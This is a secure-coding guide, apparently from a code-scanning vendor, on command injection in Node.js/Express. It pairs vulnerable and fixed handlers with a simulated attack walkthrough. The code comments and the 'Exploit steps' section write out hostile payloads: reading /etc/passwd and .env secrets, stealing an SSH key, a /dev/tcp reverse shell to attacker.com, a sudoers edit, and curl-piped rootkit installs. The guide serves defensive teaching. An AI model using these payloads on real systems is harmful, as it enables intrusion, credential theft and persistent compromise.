Command Injection
Command Injection at a glance
Overview
Command Injection happens when untrusted input builds a command string passed to a shell or process launcher. Shells interpret metacharacters like ;, &&, |, and backticks, so attackers can run extra commands, redirect output, or read files. Even without a visible shell, APIs that take a command string may invoke a shell under the hood.
Typical sources are file names, search terms, hostnames, or archive names. Typical sinks are exec, system, backticks, Runtime.exec, ProcessBuilder with /bin/sh -c, and ProcessStartInfo invoking cmd.exe with concatenated strings.
Where it occurs
It occurs in admin tools, diagnostics, log searches, exports, or file utilities that execute shell commands instead of using safer library functions.
Impact
Attackers can read and change local data, plant backdoors, pivot to adjacent services, and degrade availability by launching heavy processes. Because the commands run under your app's identity, audit trails get messy.
Prevention
Prevent command injection by using language libraries instead of shells, disabling the shell when invoking processes, validating inputs with strict allowlists, enforcing path safety, and never concatenating user data into commands.
Examples
Switch tabs to view language/framework variants.
Express, concatenates user input into exec shell command
Route builds a shell command string with a filename from the query and runs it with exec.
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.get('/view', (req, res) => {
const name = req.query.name; // BUG
exec('cat ' + name, (err, stdout) => {
if (err) return res.status(500).send('err');
res.type('text/plain').send(stdout);
});
});- Line 6: User input concatenated into shell command
exec runs a shell which interprets metacharacters, so attackers can chain commands or redirect output.
const express = require('express');
const { spawn } = require('child_process');
const path = require('path');
const app = express();
app.get('/view', (req,res)=>{
const name = req.query.name;
if (!/^[a-zA-Z0-9_.-]{1,64}$/.test(name)) return res.status(400).send('bad');
const p = path.join('/srv/docs', name);
const ps = spawn('cat', [p], { shell: false });
let out='';
ps.stdout.on('data', d => out += d);
ps.on('close', code => code===0 ? res.type('text/plain').send(out) : res.status(404).end());
});- Line 9: Use spawn with shell=false and argument vector
- Line 7: Validate filename with a strict allow list pattern
Avoid the shell and pass arguments as an array. Validate and join paths to a fixed base.
Engineer Checklist
-
Prefer language libraries over external commands
-
If you must spawn, pass argv array with shell disabled
-
Validate input with allow lists, strict formats, and bounds
-
Constrain file paths with a fixed base and realpath checks
-
Return 400 on invalid input rather than attempting to sanitize
End-to-End Example
An Express endpoint shells out to cat to display files. The handler concatenates a query into the command string. An attacker adds a second command to read system details.
// Node.js/Express - Vulnerable command injection
const { exec } = require('child_process');
app.get('/view-file', (req, res) => {
const filename = req.query.name;
// VULNERABLE: Concatenating user input into shell command!
// Attacker sends: ?name=file.txt;cat /etc/passwd
// Or: ?name=file.txt && whoami
// Or: ?name=file.txt | nc attacker.com 1234
exec('cat ' + filename, (error, stdout, stderr) => {
if (error) {
return res.status(500).send('Error: ' + error.message);
}
res.send(stdout);
});
});
// ALSO VULNERABLE: Archive extraction
app.post('/extract-zip', async (req, res) => {
const zipFile = req.body.filename;
const destination = req.body.dest || '/tmp';
// VULNERABLE: User controls both filename and destination
// Attacker sends: filename="archive.zip && curl attacker.com/shell.sh | sh"
exec(`unzip ${zipFile} -d ${destination}`, (error, stdout) => {
if (error) {
return res.status(500).send('Extraction failed');
}
res.send('Extracted successfully');
});
});
// VULNERABLE: Ping utility
app.get('/ping', (req, res) => {
const host = req.query.host;
// VULNERABLE: Shell injection via hostname
// Attacker sends: ?host=8.8.8.8;wget http://attacker.com/backdoor.sh
exec(`ping -c 4 ${host}`, (error, stdout) => {
res.send(stdout);
});
});// Node.js/Express - Secure command execution
const { spawn } = require('child_process');
const path = require('path');
const fs = require('fs').promises;
// SECURE: File viewing without shell execution
app.get('/view-file', async (req, res) => {
const filename = req.query.name;
// SECURE: Strict allow-list validation
// Only allow alphanumeric, underscore, dash, and dot
if (!/^[a-zA-Z0-9_.-]{1,64}$/.test(filename)) {
return res.status(400).json({ error: 'Invalid filename format' });
}
// SECURE: Use safe file reading with constrained base path
const BASE_DIR = '/srv/docs';
const fullPath = path.join(BASE_DIR, filename);
// SECURE: Verify path stays within base directory
const realPath = await fs.realpath(fullPath).catch(() => null);
if (!realPath || !realPath.startsWith(BASE_DIR)) {
return res.status(400).json({ error: 'Invalid file path' });
}
try {
// SECURE: Use language library instead of shell command
const content = await fs.readFile(realPath, 'utf8');
res.type('text/plain').send(content);
} catch (error) {
res.status(404).json({ error: 'File not found' });
}
});
// SECURE: Archive extraction with spawn and argv array
app.post('/extract-zip', async (req, res) => {
const zipFile = req.body.filename;
// SECURE: Validate filename format
if (!/^[a-zA-Z0-9_-]{1,64}\.zip$/.test(zipFile)) {
return res.status(400).json({ error: 'Invalid filename' });
}
// SECURE: Fixed base paths
const UPLOAD_DIR = '/srv/uploads';
const EXTRACT_DIR = '/srv/extracted';
const zipPath = path.join(UPLOAD_DIR, zipFile);
// SECURE: Verify file exists and is within upload directory
try {
const stat = await fs.stat(zipPath);
if (!stat.isFile()) {
return res.status(400).json({ error: 'Not a file' });
}
} catch (error) {
return res.status(404).json({ error: 'File not found' });
}
// SECURE: Use spawn with argv array, shell explicitly disabled
// Arguments passed as array - no shell interpretation possible!
const unzip = spawn('unzip', ['-q', zipPath, '-d', EXTRACT_DIR], {
shell: false, // CRITICAL: Disable shell
timeout: 30000 // Prevent hanging
});
let stdout = '';
let stderr = '';
unzip.stdout.on('data', (data) => {
stdout += data;
});
unzip.stderr.on('data', (data) => {
stderr += data;
});
unzip.on('close', (code) => {
if (code === 0) {
res.json({ message: 'Extracted successfully' });
} else {
res.status(500).json({ error: 'Extraction failed' });
}
});
unzip.on('error', (error) => {
res.status(500).json({ error: 'Process error' });
});
});
// SECURE: Ping utility with strict validation
app.get('/ping', (req, res) => {
const host = req.query.host;
// SECURE: Very strict hostname/IP validation
// Allow only valid hostname or IPv4 format
const hostnameRegex = /^[a-zA-Z0-9.-]{1,253}$/;
const ipv4Regex = /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
if (!hostnameRegex.test(host) && !ipv4Regex.test(host)) {
return res.status(400).json({ error: 'Invalid host format' });
}
// SECURE: Additional length check
if (host.length > 253) {
return res.status(400).json({ error: 'Host too long' });
}
// SECURE: Use spawn with argv array, no shell
const ping = spawn('ping', ['-c', '4', '-W', '2', host], {
shell: false, // CRITICAL: No shell = no injection
timeout: 10000
});
let output = '';
ping.stdout.on('data', (data) => {
output += data.toString();
});
ping.on('close', (code) => {
// SECURE: Return structured data, not raw output
res.json({
host: host,
reachable: code === 0,
output: output.substring(0, 1000) // Limit output size
});
});
ping.on('error', (error) => {
res.status(500).json({ error: 'Ping failed' });
});
});
// SECURE: Better approach - avoid shell commands entirely
// Use pure JavaScript/library implementations when possible
const dns = require('dns').promises;
app.get('/check-host', async (req, res) => {
const hostname = req.query.host;
// Validate format
if (!/^[a-zA-Z0-9.-]{1,253}$/.test(hostname)) {
return res.status(400).json({ error: 'Invalid hostname' });
}
try {
// SECURE: Use Node.js DNS module - no shell at all!
const addresses = await dns.resolve4(hostname);
res.json({ hostname, addresses, reachable: true });
} catch (error) {
res.json({ hostname, reachable: false, error: 'DNS lookup failed' });
}
});Discovery
Test if user input is passed unsanitized to shell commands by injecting shell metacharacters and command separators.
-
1. Test for command injection with semicolon
httpAction
Inject shell command separator to execute additional commands
Request
POST https://api.example.com/tools/pingHeaders:Content-Type: application/jsonBody:{ "host": "8.8.8.8; whoami" }Response
Status: 200Body:{ "output": "PING 8.8.8.8 (8.8.8.8): 56 data bytes\\n64 bytes from 8.8.8.8: icmp_seq=0 ttl=117 time=10.2 ms\\n\\napp-user", "note": "whoami command executed, revealing process user" }Artifacts
command_injection_confirmed command_separator_works user_enumeration -
2. Test command substitution
httpAction
Use backticks or $() for command substitution
Request
POST https://api.example.com/tools/pingBody:{ "host": "8.8.8.8`id`" }Response
Status: 200Body:{ "output": "ping: cannot resolve 8.8.8.8uid=1000(app-user) gid=1000(app-user) groups=1000(app-user),27(sudo): Name or service not known", "note": "id command output embedded in error message" }Artifacts
command_substitution user_context sudo_group_membership -
3. Test piping to read sensitive files
httpAction
Use pipe operator to chain commands and read files
Request
POST https://api.example.com/tools/pingBody:{ "host": "8.8.8.8 | cat /etc/passwd" }Response
Status: 200Body:{ "output": "root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\napp-user:x:1000:1000::/home/app-user:/bin/bash\\npostgres:x:999:999:PostgreSQL:/var/lib/postgresql:/bin/bash" }Artifacts
file_read system_enumeration user_accounts
Exploit steps
Attacker exploits command injection to execute arbitrary OS commands, read sensitive files, establish reverse shells, and compromise the server.
-
1. Enumerate system and find credentials
System reconnaissance via command injection
httpAction
Execute commands to enumerate system and find sensitive files
Request
POST https://api.example.com/tools/pingBody:{ "host": "8.8.8.8; uname -a && cat /app/.env && ls -la /home/app-user/.ssh/" }Response
Status: 200Body:{ "output": "Linux prod-server 5.15.0-1026-aws x86_64\\n\\n.env contents:\\nDATABASE_URL=postgresql://admin:Pr0dP@ss2024@prod-db:5432/customers\\nSTRIPE_SECRET_KEY=sk_live_51HxYz...\\nJWT_SECRET=super-secret-key-2024\\n\\n/home/app-user/.ssh/:\\ntotal 8\\n-rw------- 1 app-user app-user 1876 Jan 15 10:23 id_rsa\\n-rw-r--r-- 1 app-user app-user 398 Jan 15 10:23 id_rsa.pub" }Artifacts
system_info database_credentials stripe_api_key jwt_secret ssh_keys_found -
2. Exfiltrate SSH private key
Steal SSH private key for lateral movement
httpAction
Read SSH private key to enable access to other servers
Request
POST https://api.example.com/tools/pingBody:{ "host": "8.8.8.8; cat /home/app-user/.ssh/id_rsa" }Response
Status: 200Body:{ "output": "-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA2K5h3Kw9x...\\n[Full RSA private key - 1876 bytes]\\n-----END RSA PRIVATE KEY-----", "note": "Private key allows SSH access to prod-db, prod-api, and internal build servers" }Artifacts
ssh_private_key lateral_movement_possible infrastructure_access -
3. Establish reverse shell for persistent access
Plant backdoor via reverse shell
httpAction
Execute reverse shell to maintain persistent access
Request
POST https://api.example.com/tools/pingBody:{ "host": "8.8.8.8; bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &'" }Response
Status: 200Body:{ "output": "PING 8.8.8.8...", "note": "Reverse shell established in background. Attacker now has interactive shell on prod server with app-user privileges (sudo group member)" }Artifacts
reverse_shell persistent_access interactive_shell server_compromise -
4. Escalate to root and install persistent backdoor
Privilege escalation and backdoor installation
httpAction
Use sudo access to escalate privileges and install rootkit
Request
POST https://api.example.com/tools/pingBody:{ "host": "8.8.8.8; sudo bash -c 'echo \"app-user ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers && curl https://attacker.com/rootkit.sh | sudo bash'" }Response
Status: 200Body:{ "output": "Rootkit installed successfully. Persistence established via:\\n- Cron job: @reboot /tmp/.hidden/backdoor.sh\\n- Modified sshd_config for key-based backdoor access\\n- Created privileged user 'support' (UID 0)" }Artifacts
root_access rootkit_installed persistent_backdoor complete_compromise
Specific Impact
The attacker executes arbitrary commands, reads sensitive files, and can plant persistence. This puts customer data at risk and can lead to full host compromise.
Because the commands run as the app user, logs and traces look like normal activity, which makes incident response harder.
Fix
No shell. Arguments passed as an array, inputs validated, and paths constrained to a known base.
Detect This Vulnerability in Your Code
Sourcery automatically identifies command injection vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free